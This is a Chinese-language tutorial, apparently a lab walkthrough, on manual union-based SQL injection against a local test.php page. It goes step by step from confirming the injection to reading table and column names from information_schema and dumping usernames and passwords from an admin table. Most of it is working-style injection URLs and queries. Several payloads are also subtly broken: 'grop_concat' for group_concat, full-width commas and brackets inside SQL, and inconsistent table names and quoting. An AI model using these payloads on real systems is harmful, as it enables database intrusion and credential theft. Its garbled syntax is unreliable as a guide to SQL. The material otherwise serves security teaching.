1：验证注入（and 1=1）
URL: http://127.0.0.1/test.php?id=9 and 1=1 sql语句：select * from article where id =‘9 and 1=1’;返回正常
http://127.0.0.1/test.php?id=9 and 1=2 sql语句：select * from aritcle where id =‘9 and 1=2’;返回报错
2：判断字符段数（order by和 union）
2.1 order by
URL: http://127.0.0.1/test.php?id=9 order by 1,2,3,4 sql语句：select * from aritcle where id =9 order by 1,2,3,4;
order by 在sql语句中是对结果集的指定列进行排序。
如：当我们测试到7时报错，表明该表只有6个字段
2.2 UNION select
url:http://127.0.0.1/test.php?id=9 union select null,null,null,null sql语句：select * from aritcle where id=9 union select null,null,null;
UNION SELECT 联合查询：可以用于一个或多个SELECT的结果集，但是他有一个条件，
就是两个select查询语句的查询必须要有相同的列才可以执行，利用这个特性我们可以进行对比查询，也就是说当我们union select的列与它查询的列相同时，页面返回正常。如：当字段为6个时页面返回正常，而大于或小于6个页面会报错。
解决两个小问题：
问题一：大部分程序只会调用数据库查询的第一条返回（我们这个也是），而通过联合查询出的数据中，我们想看到的数据是在第二条中，如果我们想看到我们想要的数据有两种方法，第一种是让第一条数据返回假，第二种是通过sql语句直接返回我们想要的数据。法一：我们让第一个查询的结果始终为假
url：http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null结果：返回为什么什么也没有呢 因为我们的第二个查询中并没有查询到什么 返回为NULL 自然就什么也没有了
我们把语句放在mysql中看一下返回结果：
法二：通过limit语句，limit在mysql中是用来分页的，我们也可以通过他拿到我们想要的结果集
url：http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空，同上面结果一样
问题二：哪个列中的数据是在页面中显示出来的，可能有一些列中的数据只是用于后台程序对数据处理使用，
并不会在前台显示，所以我们需要判断哪个字段我们可以看到。如图，我们通过数字代替了NULL进行查询，确定了2，3，4，5 四个字段可以在页面中显示。回答一下为什么我们不一开始就是用数字，因为union select 不仅要求列的数量相同，同时数据类型也要相似。url：http://127.0.0.1/test.php?id=9 and 1=2 union select 1，2，3，4，5，6 limit 1，1
sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select 1，2，3，4，5，6 limit 1，13.查询数据库
可以通过使用mysql自带的函数database（）查询，得到数据库名：test
url：http://127.0.0.1/test.php?id=9 and 1=2 union select 1，database（），3，4，5，6 limit 1，1
sql语句：sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select 1，database（），3，4，5，6 limit 1，1结果：显示出test
4.查表名
查表名我们主要用到的是TABLES表。
这里我们用到了group_concat它可以返回查询的所有结果，因为我们需要通过命名判断该我们需要的敏感数据。这里我们的目标是admin表。url：http://127.0.0.1/test.php?id=9 and 1=2 union select 1，grop_concat(table_name)，3，4，5，6 from information_schema.tables where table_schema='test'
sql语句：sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select 1，grop_concat(table_name)，3，4，5，6 from information_schema.tables where table_schema='test'结果：显示出所有表名，第一个为admin
5.查字段：
这里同样使用information_schema库，这里使用的是columns表。得到字段id,username,passwordurl：http://127.0.0.1/test.php?id=9 and 1=2 union select 1，grop_concat(column_name)，3，4，5，6 from information_schema.columns where table_schema='test' and table_name='admin'
sql语句：sql语句：SELECT * FROM article WHERE id = 9 and 1=2 union select 1，grop_concat(column_name)，3，4，5，6 from information_schema.columns where table_schema='test' and table_name='admin'结果：id,username,password
6：查数据
url： http://127.0.0.1/test.php?id=9 and 1=2 union select 1，grop_concat(id,username,password)，3，4，5，6 from admin
sql语句： SELECT * FROM article WHERE id = 9 and 1=2 union select 1，grop_concat(id,username,password)，3，4，5，6 from admin结果就出来了